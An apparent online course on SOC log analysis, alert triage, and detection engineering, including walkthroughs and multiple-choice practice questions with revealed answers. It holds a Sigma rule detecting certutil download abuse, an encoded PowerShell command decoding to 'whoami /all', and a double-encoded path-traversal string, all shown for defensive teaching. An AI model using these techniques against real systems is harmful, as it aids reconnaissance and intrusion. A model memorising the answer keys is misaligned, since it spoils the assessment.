Use event time and account for late arrivals with suitable delay or look-back. Normalize cross-source fields, correct clock problems, and deduplicate repeat deliveries by event identity before counting. Overlapping rule runs also need alert grouping so the same burst does not flood the queue.

The alert should carry the rule purpose, user or host, addresses, counts, first and last times, severity, raw-event links, and triage guidance. Check required data and local volumes before deployment: correlation cannot reconstruct an event the source never recorded.

Key Takeaways

  • Specify filter, key, window, aggregation, condition, and output.
  • Choose grouping that matches the attack pattern.
  • Require the same entities and correct order in sequence rules.
  • Handle window boundaries, late data, and duplicate deliveries.
  • Give analysts the evidence and context needed to triage the match.
  • Test distributed patterns across both accounts and source addresses.
5

Make and document an alert decision

Triage turns an alert into a justified next action. Learn to separate a rule’s match from the value of the alert, choose work by risk and urgency, and follow a repeatable path through raw events, context, and related activity. Focused queries and careful decoding help answer the immediate question. Clear notes let another analyst understand the decision and let responders take over when escalation is needed.

5.1 Classify outcomes and measure alert quality

An alert can be technically correct without requiring incident handling. Use consistent outcome labels so closure records help improve detections instead of hiding why alerts were closed.

Separate the behavior from its meaning
OutcomeMeaning
True positiveReal malicious activity was detected
Benign true positiveThe stated behavior occurred and was authorized
False positiveThe rule incorrectly identified its target behavior
False negativeReal malicious activity was missed
True negativeBenign activity correctly produced no alert

An authorized vulnerability scanner really scans. A scanning rule that sees it is a benign true positive. A parser error that makes normal traffic appear to scan is a false positive. Different teams use labels differently; the important operational requirement is one consistent definition and a recorded reason.

Behavior-match accuracy asks whether the described behavior occurred. Alert precision here asks what share of all alerts were confirmed malicious. Its denominator includes false positives and benign true positives:

precision=confirmed malicious alertsall alerts

Six malicious alerts among 200 total give 3% precision. If the scanner accounts for many correct but authorized matches, behavior-match accuracy can be good while alert precision is low. That suggests changing the rule's operational scope, not pretending its observations were wrong.

Account for what was missed

Recall measures the share of real malicious activity detected:

recall=detected malicious casesdetected malicious cases+missed malicious cases

Missed cases may emerge through incidents, hunts, red-team work, or controlled tests. Without such evidence, a quiet queue tells little about recall. Raising a threshold can remove noisy alerts while missing slower attacks, so evaluate both detected and missed behavior.

The base rate matters because attacks are rare among ordinary events. A 0.1% misfire rate over roughly two million benign events produces about 2,000 false alerts. Even a small percentage can overwhelm a team. Aggregation, stronger context, and risk scoring can make weak signals more useful.

Decide what needs attention first

Severity describes how serious the detected activity would be if true. Priority determines handling order using severity, confidence, and asset or user criticality. A medium-severity alert on a domain controller can be more urgent than a high-severity alert on an isolated test machine.

Repeated low-value alerts create alert fatigue: analysts skim and real attacks become easier to miss. Each queued alert should support an action or decision. Keep nonactionable observations available in logs or dashboards. Record closure evidence and reasons so engineers can distinguish bad parsing, authorized behavior, duplicate output, and actual malicious detections when tuning.

Key Takeaways

  • Distinguish false positives from authorized matches.
  • Alert precision counts malicious alerts over all alerts.
  • Recall needs evidence about detected and missed malicious cases.
  • Prioritize using confidence and criticality as well as severity.

5.2 Work from the alert to a clear handoff

Triage is the first assessment of whether an alert is real, how urgent it is, and what should happen next. Work within the team's response targets and use priority to decide which alert to examine first.

Follow a repeatable path
  1. Understand. Read the rule's purpose, logic, entities, time range, and runbook. Know which behavior it claims and its expected benign causes.
  2. Validate. Open the raw events. Check parsing, timestamps, host and identity, event outcome, duplicates, and test data. A convincing title cannot repair a wrong source-field mapping.
  3. Add context. Check asset role and owner, privilege, normal activity, change tickets, scheduled tests, indicator reputation, and earlier closures.
  4. Scope. Search related hosts, users, destinations, hashes, and alerts before and after the match. Build a short UTC timeline.
  5. Decide and document. Close with a supported outcome, keep watching with a reason, or escalate a suspected incident.

A claimed maintenance window needs a matching authorization record. A familiar administrator account may itself be compromised. Context checks should test the plausible explanation instead of simply accepting it.

Work the password-spray alert

The alert reports 198.51.100.77 attempting 46 accounts from 10:00 to 10:20 UTC. Raw 4625 records show 41 wrong-password and five unknown-user results, all type 3. The address is not an authorized scanner, and there is no scheduled penetration test.

Search successes from the same origin and time range. A 4624 for m.tanaka appears at 10:21, followed by mailbox access at 10:24. These follow-on events raise confidence and urgency beyond a set of blocked guesses. Document which account succeeded and which accounts have no observed success. Absence in the available logs should remain tied to that search scope.

The decision is to escalate as malicious activity with high priority. Attach the raw records, queries, authorization checks, and timeline. Reputation reports support the decision, but the linked authentication and mailbox actions carry the main evidence.

Leave a record another analyst can use

A closure record states what was checked, the relevant event IDs and times, query scope, supporting evidence, reasoning, and outcome. For a benign true positive, include the authorization reference and who confirmed it. For a false positive, explain the mismatch and raise a tuning request if it recurs.

An escalation handoff gives what happened, when, affected entities, evidence, assessed severity and confidence, unanswered questions, and any immediate risk such as an active session or ongoing outbound transfer. The incident response team needs to distinguish observed facts from hypotheses. If impact could be high and important doubt remains, escalate the uncertainty clearly instead of waiting for every possible check.

Set a time limit for low-priority work so it does not displace critical alerts. Save enough query and result detail that the next analyst can reproduce the search and continue from the same evidence.

Key Takeaways

  • Understand the rule and validate it against raw evidence.
  • Check authorization and expected activity before accepting a benign explanation.
  • Scope successes and follow-on activity, not only failures.
  • Record evidence, reasoning, outcome, and remaining uncertainty.
  • Escalate high-impact concerns with a concise, usable handoff.

5.3 Search, pivot, and decode with care

A good investigation query answers a specific question. Start with the alert's time and entity, select useful fields, and sort by event time. Widen the search when a result gives you a reason to do so.

Move from one clue to related evidence

A vendor-neutral query might ask for authentication events from 198.51.100.77 over 24 hours, grouped by user.name and event.outcome. Counts reveal breadth; the raw rows establish exact actions and times. A single search over months of every source is often slow and difficult to interpret.

Pivoting moves through a relationship: address to contacting hosts, host to initiating process, process to user, user to sign-ins. Keep a note of the query, time bounds, identifiers, and result at each step. Match process identifiers and event times where available; a reused address or process number can otherwise create a false link.

Decode without executing
EncodingClueExample
Base64Letters, digits, +, /, sometimes = paddingEncoded command text
URL encoding% and two hex digits%27 is an apostrophe
HexadecimalPairs of hexadecimal digits636d642e657865 is cmd.exe

PowerShell -EncodedCommand uses Base64 of UTF-16LE text. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== decodes to whoami /all. Select the correct text encoding after decoding bytes. A tool such as CyberChef can chain steps; record the layers and preserve the original value. Decoding reveals text for inspection; it does not require running the command.

Add external context safely

Registration information, domain age, network ownership, geolocation, IP reputation, hash lookups, and existing sandbox reports can guide the next search. A recent domain or reported shared-cloud address needs corroboration. A clean reputation can reflect a new or little-seen threat.

Protect investigation data: use approved lookup tools and isolated sandboxes, look up a hash instead of uploading a sensitive file to a public scanner, and avoid direct visits to suspected infrastructure from the corporate network. Public uploads may expose confidential files or reveal an investigation to an attacker.

AI assistants can summarize logs, explain commands, or draft searches. Verify their suggested fields and conclusions against raw events and documentation. Use tools allowed by the organization's data policy. Treat attacker-controlled log strings, including user agents and filenames, as data even when they contain instructions aimed at an AI system.

Keep lists of entities distinct

A proxy pivot from one host finds three more contacting the same address: four hosts had contact. An email search finds 14 recipients of a document. These are different populations. Confirm execution on the hosts with endpoint evidence and map recipients to their devices before extending the scope. Network contact alone leaves execution unanswered, and subtracting host counts from recipient counts gives a meaningless result.

Key Takeaways

  • Start narrow, then widen searches using evidence.
  • Record pivot queries, identifiers, time bounds, and results.
  • Decode each layer with the correct character encoding.
  • Use approved reputation and analysis tools that protect sensitive data.
  • Verify AI output and treat log text as untrusted data.
  • Separate network contact, file delivery, and confirmed execution.
6

Build detections that remain useful

A detection is maintained work, not a rule written once and forgotten. Start with a relevant behavior and the data that can reveal it, then test both detection and normal activity before deployment. Afterward, use triage outcomes to refine the logic, keep exclusions narrow, and rerun tests when rules or data change. Quality comes from catching useful behavior with evidence an analyst can act on.

6.1 Write and test a behavior-based detection

Detection engineering treats rules as a repeatable design, testing, and maintenance process. Detections as code keeps them in version control with review and automated checks, so a change can be explained and reproduced.

Start with the behavior and data

Define the requirement from a relevant threat, incident, ATT&CK technique, red-team finding, or known gap. Identify the source and fields that reveal it. Confirm collection, parsing, and normalization before writing logic. Then write, test, document, deploy, tune, review, and eventually retire the detection.

Atomic indicators such as one file hash can quickly identify a known artifact. Behavior rules, such as an Office program starting a script interpreter, survive more changes to the artifact. Map the behavior to relevant ATT&CK techniques, for example T1059.001 for PowerShell or T1105 for ingress tool transfer. A label records the intended coverage; a successful test establishes that the local implementation actually detects it.

Read a Sigma rule

Sigma is a portable YAML detection format. A rule has title, logsource, and detection. Log-source attributes such as product, category, and service select appropriate data; use the combination that identifies the source. Named selections describe matches, and condition combines them. Multiple fields in one selection use AND; a list of values normally uses OR. Modifiers such as contains, endswith, and all change matching.

title: Certutil Download Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_cli:
    CommandLine|contains|all:
      - 'urlcache'
      - 'http'
  condition: selection_img and selection_cli
falsepositives:
  - Administrative file download
level: high
tags:
  - attack.t1105

This rule requires the executable image to end in \certutil.exe and the command line to contain both urlcache and http. It needs process creation with command lines, such as Sysmon 1 or suitably configured 4688. Convert and check it against the backend's field mappings. Renaming the binary can defeat this particular image test, so document that limit.

Test and make the alert usable

Replay malicious-like events or run approved safe simulations in a test environment. Confirm the expected alert and its entity fields. Run historical normal data, perhaps 30 days, to estimate noise. Include edge cases: letter case, quotes, spacing, absent fields, renamed tools, and plausible administrative uses. A test that fires once establishes less than a positive test plus boundary and noise tests.

Document purpose, required sources, logic, ATT&CK mapping, severity, known benign causes, triage steps, test evidence, expected volume, owner, and review date. A monitoring-only rollout lets the team inspect real output before relying on it operationally. Rules need an owner to respond when source layouts or business activity change.

Key Takeaways

  • Check source data before designing the logic.
  • Prefer durable behavior while retaining useful atomic matches.
  • Read Sigma selections and conditions as explicit logic.
  • Test malicious-like, normal, and boundary cases.
  • Document ownership, data dependencies, and triage guidance.

6.2 Reduce noise without losing the behavior

Tuning changes rule logic, thresholds, scope, or context to make alerts more actionable while preserving the intended detection. Begin with closure records: bad parsing, authorized behavior, and repeated output require different fixes.

Choose a change that fits the cause

For known authorized behavior, use a narrow exception. For unrelated events, add a meaningful condition such as parent process, full path, command-line element, identity role, or asset context. Adjust thresholds and windows against measured activity. Group repeated matches into one alert per entity and period. A weak signal can contribute to risk scoring instead of creating a separate queue item.

Exclusions need an owner, reason, and review or expiry date. Exclude a scanner's specific address and identity for the scanning rule, with its approved schedule. Excluding all of 10.0.0.0/8 would blind the rule to internal attacks. A backup exception should use a trusted full path and signer; malware can copy a filename such as backup.exe. A whole writable folder such as C:\Temp\ is an unsafe shortcut.

Measure the worked change

A scanning rule raises 200 alerts in a month; six are confirmed malicious. Alert precision is 3%. Triage finds 150 authorized-scanner matches from 10.0.9.15 during its scan window. Excluding that source for this rule and window leaves 50 alerts, including the same six malicious ones:

new precision=650=12%

Volume falls by 75%. The observed malicious detections are retained, and scanning by that host outside its window still alerts. That retrospective result does not cover every future attack path; test malicious activity near the exclusion boundary too, including possible misuse of an approved system.

Raising a failure threshold from 10 to 50 in five minutes may suppress ordinary retries but also misses attacks between those values. Disabling the rule removes its coverage completely. Rerun positive tests after every tuning change and inspect which previously detected cases now disappear.

Keep quality and data health visible

Track volume per rule, confirmed malicious detections, precision, and known missed cases. A false-positive rate needs a defined denominator; the share of alerts closed as false positives is a different measure from the rate across benign events. Document which metric the team reports.

Mean time to detect measures delay from malicious activity starting to detection. Mean time to respond tracks the team's defined response interval. Keep that definition consistent when comparing periods. Review tested coverage of priority ATT&CK techniques alongside source health, missing fields, parse failures, and backlogs. A lower alert count after a parser breaks is a monitoring failure.

Retest after source or parser changes, review expiring exceptions, retire obsolete rules, and add detections for newly relevant behaviors. Purple-team exercises and breach-and-attack simulations can reveal gaps before a real incident does. Store changes and test results with the rule so the next review can see why its current boundaries exist.

Key Takeaways

  • Tune from recorded causes, not alert count alone.
  • Constrain exclusions by behavior, entity, context, and time.
  • Compare precision and retained detections before and after changes.
  • Rerun positive and boundary tests after tuning.
  • Monitor data health alongside alert and coverage metrics.
  • Review exceptions and retire rules when their purpose disappears.

Security Monitoring and Log Analysis examples

6 Walkthroughs

1

Prepare a log trail you can trust

17 steps
Follow a download investigation from source selection through parsing, collection checks, and shared event fields.
  1. 1
    IntroductionStart with a security question

    A proxy alert names an internal address that downloaded an executable. Before assessing the download, you need to know which device held the address, what ran there, and whether the relevant events arrived intact.

    Follow the evidence from the source to a searchable, contextual record: parse raw entries into fields, confirm delivery, make field names comparable, and add context through enrichment. Each decision determines what the later investigation can establish.

  2. 2
    ExplanationChoose complementary views

    The proxy shows the request and destination. DHCP identifies the device holding the internal address during the request. Host process events show what executed.

    These sources answer different questions. A flow record can add timing and byte totals for encrypted traffic, but its lack of payload leaves the downloaded content unresolved.

  3. 3
    ExampleResolve the historical device

    The proxy download occurs at 14:02 UTC from 10.20.30.45. A DHCP lease assigns that address to LAPTOP-0193 from 13:30 to 21:30 that day.

    Use that laptop as the host pivot. Looking up the present lease could name a different device after reassignment, even though the address string is unchanged.

  4. 4
    ChallengeChoose execution evidence

    The address is now linked to a laptop. What source would answer whether a program ran after the download?

    ---reveal---

    Use process creation or EDR telemetry on that laptop. Windows 4688 needs suitable auditing and command-line capture; Sysmon 1 provides another process view. The proxy request alone establishes a download request, not local execution.

  5. 5
    ExplanationRead fields before conclusions

    A raw entry must be split into the fields the search needs. In JSON, use named keys even if their order changes. In Windows events, read the event-specific fields alongside provider, event ID, time, and computer.

    For 4625, user, source, logon type, and failure reason explain far more than the phrase "failed to log on" alone.

  6. 6
    ExampleExtract the SSH username

    In the line Failed password for invalid user admin from 203.0.113.45 port 52114, the username is admin.

    The regex fragment (?:invalid user )?(\S+) makes the prefix optional and captures the non-space username afterward. Without that distinction, a simple word capture after "for" could return invalid. Keep raw samples for both message forms when testing the parser.

  7. 7
    ChallengeInterpret a source severity

    A message begins with <38>. Does its Informational severity justify ignoring a failed sign-in?

    ---reveal---

    No. Dividing 38 by 8 gives facility 4 and severity remainder 6, Informational. The sending program rates the event, but an analyst can still connect that failure to a password attack. Source severity does not replace the security pattern.

  8. 8
    ExplanationKeep delivery working

    An agent can buffer while a collector is unavailable. Agentless routes such as forwarding and cloud exports need health checks too.

    UDP syslog on 514 provides no delivery confirmation and no encryption. TCP improves delivery reliability; TLS on 6514 adds encryption and server authentication. Protect transport across untrusted networks and monitor backlog growth.

  9. 9
    ExamplePut clocks on the same timeline

    The firewall writes 2026-03-14 10:15:00 +02:00; the server writes 2026-03-14T08:15:00Z. They refer to the same instant. Convert offsets before sorting.

    Then distinguish the event timestamp from receipt by the platform. An event arriving late can still belong earlier in the sequence; a synchronized source clock helps preserve that order.

  10. 10
    ExampleEstimate the raw volume

    For 2,000 endpoints, multiply 5,000 events per host each day by 500 bytes per event. That is 2,500,000 bytes per endpoint per day.

    Across the fleet it is 5,000,000,000 bytes, or 5 GB/day in decimal units. Ninety days is 450 GB before compression, indexing, and other storage effects. Retention and detail choices have a direct storage cost.

  11. 11
    ChallengeInvestigate missing evidence

    A domain controller that usually sends events every minute has sent nothing for 30 minutes. No attack alerts have fired. What needs attention?

    ---reveal---

    Check collection health: the host, agent, transport, collector, queues, and parsing path. Silence may reflect failure or disabled logging. A quiet alert queue cannot establish normal activity when the underlying source is absent.

  12. 12
    ExplanationMake equivalent fields comparable

    Windows calls an address IpAddress, a firewall may call it src, and CloudTrail uses sourceIPAddress. Normalize them to source.ip only when each means the source of the action.

    Standardize types, outcomes, identities, and UTC time as well. A shared field name with the wrong meaning can join the wrong entities as easily as inconsistent names can prevent a join.

  13. 13
    ExampleAdd the role behind the account

    Repeated failures for svc-backup look different after enrichment identifies the source as a marketing laptop. The account normally signs in only from the backup server.

    Asset role and identity role expose an unexpected relationship. A failure count by itself would miss why this source-account combination deserves investigation.

  14. 14
    ChallengeCheck when context was true

    An old event is enriched with a device owner from today. The device changed owners after the event. What should be checked?

    ---reveal---

    Use ownership history effective at the event time. Search-time enrichment may show the present state; ingest-time enrichment preserves the context available at arrival. Knowing which form you see prevents a later assignment from being mistaken for past ownership.

  15. 15
    TipProtect the central record

    Forward logs off hosts quickly and restrict who can read, alter, or delete them. Immutable storage or cryptographic digests can protect integrity.

    Monitor the monitoring itself: Windows 1102, audit-policy changes, or cloud StopLogging actions can explain lost visibility. Also set deliberate retention so older activity remains available when an investigation begins.

  16. 16
    ChallengeRepair the pipeline before tuning

    A new cross-source rule blames the destination server for initiating connections. Raw entries are correct, but the common source field holds the destination. Should the threshold be raised?

    ---reveal---

    Repair the field mapping and replay samples through the pipeline. Raising the threshold would hide some output without restoring correct attribution. The rule depends on the prepared data retaining the raw event's meaning.

  17. 17
    RecapUse a pipeline check before relying on a rule

    Before using a detection operationally, check one complete evidence path: required activity is recorded, delivery is monitored, timestamps align, fields match the raw event, and context fits the event time.

    Save representative samples for future parser changes. They give the next reviewer something concrete to compare when output changes unexpectedly.

2

Connect network clues to host and web activity

15 steps
Work through traffic patterns, a host execution chain, and a web sequence to distinguish supported conclusions from open questions.

Save this lesson to follow every Walkthrough step by step.

  1. 1
    IntroductionLook for linked actions
  2. 2
    ExplanationRead the scan direction
  3. 3
    ExampleMeasure regular contact
  4. 4
    ExplanationInterpret unusual DNS
  5. 5
    ChallengeTest the transfer explanation
  6. 6
    ExampleRead a process relationship
  7. 7
    ExampleDecode what the interpreter does
  8. 8
    ExampleFind the persistence step
  9. 9
    ChallengeChoose the supported conclusion
  10. 10
    ExampleExpose the request text
  11. 11
    ExampleFollow discovery into a later request
  12. 12
    ChallengeCheck what the response means
  13. 13
    ConnectionJoin a web request to execution
  14. 14
    ChallengeKeep shared addresses from misleading you
  15. 15
    RecapState what each source established
3

Follow access into cloud and privilege changes

16 steps
Read an API sequence, distinguish sign-in patterns, and connect an actor to changes in accounts, credentials, and permissions.

Save this lesson to follow every Walkthrough step by step.

  1. 1
    IntroductionTrack the identity through its actions
  2. 2
    ExplanationChoose the cloud layer
  3. 3
    ExampleRead the first unexpected call
  4. 4
    ExampleFollow enumeration into continued access
  5. 5
    ChallengeSeparate two kinds of missing evidence
  6. 6
    ExplanationChoose the authentication view
  7. 7
    ExampleRecognize the breadth of a spray
  8. 8
    ExampleGive the success its own follow-up
  9. 9
    ChallengeInterpret the travel alert
  10. 10
    Key InsightLook beyond the MFA label
  11. 11
    ExplanationIdentify who changed what
  12. 12
    ExampleFollow the privilege chain
  13. 13
    ChallengeFind access that survives a password change
  14. 14
    TipAvoid routine-privilege noise
  15. 15
    ChallengeJoin activity without overclaiming
  16. 16
    RecapKeep an access-change checklist
4

Build a baseline and a correlation rule

13 steps
Measure a volume anomaly, then construct and test a failure-to-success sequence with explicit keys and windows.

Save this lesson to follow every Walkthrough step by step.

  1. 1
    IntroductionChoose why the activity should stand out
  2. 2
    ExplanationBuild the right reference
  3. 3
    ExampleMeasure the server deviation
  4. 4
    TipCheck the distribution
  5. 5
    ChallengeInterpret an accumulated risk score
  6. 6
    ExplanationSpecify the sequence requirement
  7. 7
    ExampleCount and join the worked events
  8. 8
    ExplanationCheck the window boundary
  9. 9
    ChallengeRepair a boundary miss
  10. 10
    TipMake late records count
  11. 11
    ExplanationLook across distributed attempts
  12. 12
    ChallengeCombine the baseline and rule checks
  13. 13
    RecapKeep a compact rule specification
5

Turn an alert into a documented decision

14 steps
Classify a match, work a spray alert through triage, and scope related evidence with focused searches.

Save this lesson to follow every Walkthrough step by step.

  1. 1
    IntroductionAim for a justified next action
  2. 2
    ExplanationSeparate correct matches from useful alerts
  3. 3
    ExampleMeasure malicious-alert precision
  4. 4
    ChallengeSet the handling order
  5. 5
    ExampleUnderstand and validate the spray
  6. 6
    ExampleScope the successful session
  7. 7
    ChallengeMake the escalation useful
  8. 8
    ExplanationSearch a focused slice first
  9. 9
    ExampleDecode a command for inspection
  10. 10
    ChallengeKeep contact and execution separate
  11. 11
    TipUse external and AI context carefully
  12. 12
    ChallengeClose only with a supported reason
  13. 13
    TipTime-box the remaining work
  14. 14
    RecapLeave a reproducible decision record
6

Build, test, and tune a detection

12 steps
Read a Sigma detection, test its data dependencies and edge cases, then evaluate a narrowly scoped tuning change.

Save this lesson to follow every Walkthrough step by step.

  1. 1
    IntroductionTreat detection as maintained work
  2. 2
    ExplanationCheck the required data
  3. 3
    ExampleRead the image and command selections
  4. 4
    ChallengeTest what the rule misses
  5. 5
    TipTest variants and normal work
  6. 6
    ConnectionPrepare the analyst and owner
  7. 7
    ExplanationChoose an exception for the actual cause
  8. 8
    ExampleMeasure before and after
  9. 9
    ChallengeCheck the cost of a threshold change
  10. 10
    ExplanationMonitor rules and their inputs
  11. 11
    ChallengeExplain an unexpected quiet rule
  12. 12
    RecapReview a change with evidence

Security Monitoring and Log Analysis practice questions

60 Practice Questions in 6 sets

Set 1: Choose and prepare the evidence10 Practice Questions

Question 1 of 10

A proxy log identifies a dynamic internal address at 16:18 UTC yesterday. What evidence identifies the device that held it then?
  1. A current DHCP lease for that address
  2. A flow total for the public NAT address
  3. A DHCP lease covering 16:18 yesterday
  4. A current DNS response for the proxy
Show answerHide answer
Answer: C
The DHCP lease covering the event time links the address to its device for that interval. A current lease can name a different device after reassignment. Match both the address and historical time before selecting the host to investigate.

Question 2 of 10

A syslog entry begins with <45>. What facility and severity does this encode?
  1. Facility 4, severity 5
  2. Facility 5, severity 5
  3. Facility 5, severity 4
  4. Facility 4, severity 4
Show answerHide answer
Answer: B
Divide 45 by 8: the quotient is 5 and the remainder is 5. The quotient gives facility, while the remainder gives severity. Treating the priority digits as separate field values skips the encoding rule and gives the wrong category.

Question 3 of 10

A server records an event at 2026-08-18 19:25:00 +03:00; the SIEM receives it at 2026-08-18T16:29:00Z. What is the ingestion delay?
  1. 3 hours 4 minutes
  2. 2 hours 56 minutes
  3. 0 minutes
  4. 4 minutes
Show answerHide answer
Answer: D
The event time converts to 16:25 UTC, and receipt at 16:29 UTC is four minutes later. Comparing the local clock reading directly with UTC creates a false multi-hour gap. Use the offset before comparing event time with ingest time.

Question 4 of 10

A firewall parser maps dst to source.ip. A source-grouped rule now identifies the server being scanned as the scanner. What repair addresses the cause?
  1. Correct the source and destination mappings
  2. Raise the server scanning threshold
  3. Exclude the server from scanning rules
  4. Extend the source-grouped time window
Show answerHide answer
Answer: A
The parser has reversed the address roles, so the rule groups on the target instead of the initiator. Correct the mapping and retest against raw samples. A larger threshold might hide the output but would preserve the wrong attribution and risk missed detections.

Question 5 of 10

Encrypted outbound sessions show regular contacts from a workstation. What evidence most directly links the contacts to the program responsible?
  1. Firewall allows by destination port
  2. DNS response fields with resolved addresses
  3. Process-linked endpoint network events
  4. DHCP renewals linked to device names
Show answerHide answer
Answer: C
Endpoint network telemetry can tie a connection to a process identifier, which can be joined to process creation. Firewall summaries show traffic without identifying the local program. DNS and DHCP help with names and devices, but leave the initiating executable unresolved.

Question 6 of 10

A fleet has 750 hosts, each producing 8,000 events daily at 600 bytes per event. What raw storage is needed for 30 days in decimal GB?
  1. 3.6 GB
  2. 108 GB
  3. 36 GB
  4. 1,080 GB
Show answerHide answer
Answer: B
The fleet produces 6,000,000 events per day, or 3.6 billion bytes at 600 bytes each. That is 3.6 GB/day and 108 GB over 30 days before storage effects. Reporting 3.6 GB accounts for only one day of the requested retention.

Question 7 of 10

A parser succeeds on Failed password for root from 203.0.113.61 but captures invalid as the user in Failed password for invalid user guest from 203.0.113.61. What change preserves the intended username?
  1. Allow an optional noncapturing "invalid user " prefix
  2. Capture every word between "for" and "from"
  3. Require "invalid user " before every captured name
  4. Capture the final word before the source port
Show answerHide answer
Answer: A
The variable phrase belongs before the username capture and should be optional without producing its own captured field. The same pattern then handles both forms. Capturing every word before "from" keeps the unwanted prefix attached instead of extracting just the username.

Question 8 of 10

An analyst reviews a July event enriched at search time with today's asset owner. The device changed departments in September. What context is needed for the July attribution?
  1. The owner currently stored in the inventory
  2. The department owning the search platform
  3. The newest owner found in any source
  4. The ownership record effective in July
Show answerHide answer
Answer: D
The investigation concerns ownership when the event occurred, so use the historical record effective in July. Search-time enrichment may provide the current state after the September change. Selecting the latest owner would attach present context to past activity incorrectly.

Question 9 of 10

A cloud feed arrives up to 12 minutes late. A rule runs every minute over only the preceding 5 minutes of event time. Sources remain active, but replaying stored events finds sequences missed live. What design best addresses this gap?
  1. Order by ingest time in a five-minute window
  2. Keep the range but add more source-health checks
  3. Run the same five-minute search every ten seconds
  4. Revisit event-time windows after delayed arrival
Show answerHide answer
Answer: D
Late events can arrive after their event-time interval has fallen outside the search. A suitable delay or longer look-back lets the rule re-evaluate that interval, with duplicate-alert handling. Running the unchanged window more often never includes events that arrive after the window has passed.

Question 10 of 10

A flow record describes an encrypted session. What information can it provide without payload decryption?
  1. The exact commands inside the session
  2. The requested database rows in plain text
  3. Session timing and transferred byte counts
  4. The document contents returned to the user
Show answerHide answer
Answer: C
Flow records summarize conversation metadata, including time, packets, and byte counts. They do not contain the payload needed to read commands or documents. Encryption still leaves traffic shape useful for questions about unusual destinations, volume, and timing.
Set 2: Interpret network, host, and web patterns10 Practice Questions

Save this lesson to see every answer and practice every set.

Question 1 of 10

A server uploads 840 MB and downloads 21 MB in one session. What upload-to-download ratio should the analyst record?
  1. 21 to 1
  2. 4 to 1
  3. 40 to 1
  4. 861 to 1
Show answerHide answer

Save this lesson to see this answer.

Question 2 of 10

One device attempts port 445 on 90 different hosts in three minutes. What network pattern is this?
  1. A vertical scan
  2. A periodic C2 beacon
  3. A DNS-tunneling burst
  4. A horizontal sweep
Show answerHide answer

Save this lesson to see this answer.

Question 3 of 10

A signed system utility downloads a file when launched by a spreadsheet application. What should drive the analyst's assessment?
  1. Signature and normal installation path
  2. Arguments, parent, user, and related events
  3. Utility name, publisher, and installed version
  4. Process description and download capability
Show answerHide answer

Save this lesson to see this answer.

Question 4 of 10

A request contains %252e%252e%252fsettings. What path fragment appears after two URL-decoding passes?
  1. ../settings
  2. %2e%2e%2fsettings
  3. ./settings
  4. /settings
Show answerHide answer

Save this lesson to see this answer.

Question 5 of 10

A web worker starts a shell at 12:10; the shell creates a program in an upload folder at 12:11; a new service points to that program at 12:12. No approved change covers these actions. What is the strongest supported assessment?
  1. Suspected injection with data exfiltration
  2. Remote administration with no persistence
  3. Suspected web execution with persistence
  4. File delivery without execution
Show answerHide answer

Save this lesson to see this answer.

Question 6 of 10

A host makes small requests to a rare domain every 75–80 seconds overnight. What next check best distinguishes malware contact from legitimate telemetry?
  1. Check the process and expected destination
  2. Check only label entropy and domain length
  3. Compare only certificate and encrypted protocol
  4. Classify only from mean interval and its spread
Show answerHide answer

Save this lesson to see this answer.

Question 7 of 10

A web request with injection-like input returns HTTP 200. What can the analyst conclude from the status alone?
  1. Injection succeeded and returned database records
  2. The request was blocked before any application code
  3. The payload was harmless because handling completed
  4. HTTP 200 was returned; outcome remains unresolved
Show answerHide answer

Save this lesson to see this answer.

Question 8 of 10

An unfamiliar program has the filename svchost.exe but runs from a user download folder. What evidence should determine its identity and use?
  1. Filename plus copies installed on other hosts
  2. Full path, signer, hash, parent, and command line
  3. Icon and the count of running program instances
  4. Filename plus the process description reported
Show answerHide answer

Save this lesson to see this answer.

Question 9 of 10

A public address is reported for large outbound transfers. At that time two internal hosts shared it through NAT; only one has matching internal-flow times and destination ports. What attribution is justified?
  1. Attribute the transfer to both hosts sharing the public address
  2. The matching host is the lead; preserve the timed evidence
  3. Choose the host in the latest NAT mapping
  4. Attribute it to the user currently assigned that public address
Show answerHide answer

Save this lesson to see this answer.

Question 10 of 10

An application begins returning many 503 responses immediately after a deployment, while request volume and client origins remain normal. What is the best initial hypothesis to test?
  1. A deployment-related service fault
  2. A newly successful SQL injection
  3. A new distributed traffic flood
  4. An external DNS-tunneling campaign
Show answerHide answer

Save this lesson to see this answer.

Set 3: Follow cloud identities and access changes10 Practice Questions

Save this lesson to see every answer and practice every set.

Question 1 of 10

What cloud log category most directly records reads of individual storage objects?
  1. Data-plane access logs
  2. Management audit logs
  3. Virtual-machine process logs
  4. Network flow records
Show answerHide answer

Save this lesson to see this answer.

Question 2 of 10

Over 15 minutes, one address produces one failed password attempt for each of 64 users. No account reaches its lockout limit. What attack pattern best fits?
  1. Single-account brute force
  2. MFA push fatigue
  3. Password spraying
  4. Session token replay
Show answerHide answer

Save this lesson to see this answer.

Question 3 of 10

An audit event shows operator help-7 creating an access key for svc-export. Which identity should be linked to the preceding sign-ins as the actor?
  1. svc-export
  2. The key ID
  3. The region
  4. help-7
Show answerHide answer

Save this lesson to see this answer.

Question 4 of 10

One employee has successful sign-ins from two distant cities ten minutes apart. One address belongs to the corporate VPN; device details match, and no unusual follow-on activity is seen. What decision best fits this evidence?
  1. Confirm theft because both distant sign-ins succeeded
  2. Validate the VPN explanation against the session evidence
  3. Close because the device identifiers match in both logs
  4. Confirm account sharing from the apparent travel speed
Show answerHide answer

Save this lesson to see this answer.

Question 5 of 10

An analyst needs process activity inside a cloud VM, but the available feed contains only resource-management API calls. What source is missing?
  1. More resource-management API events
  2. Host or workload execution telemetry
  3. A longer account billing history
  4. The VM's current public-address assignment
Show answerHide answer

Save this lesson to see this answer.

Question 6 of 10

An approved ticket authorizes account creation only. The same actor also adds the account to a group nested inside a privileged group, then the new account administers a critical server. What requires investigation?
  1. The approved account-creation name only
  2. Only direct changes to the privileged parent group
  3. The added effective privilege and its use
  4. The creation time without its membership path
Show answerHide answer

Save this lesson to see this answer.

Question 7 of 10

A sign-in report says MFA was satisfied by an existing token, but the session originates from an unfamiliar hosting network. What should the analyst assess?
  1. Possible token replay and the session's subsequent actions
  2. Only password guesses before the token was issued
  3. Only the satisfied MFA result for that authentication
  4. Physical travel inferred from location without token checks
Show answerHide answer

Save this lesson to see this answer.

Question 8 of 10

A build identity uses its key from a new origin, lists resources with many denials, creates another credential, and changes logging coverage. Which assessment best connects the evidence?
  1. Routine deployment followed by a logging change
  2. Blocked reconnaissance with unrelated key administration
  3. Confirmed data theft followed by removal of all audit history
  4. Suspected credential misuse, reconnaissance, and persistence
Show answerHide answer

Save this lesson to see this answer.

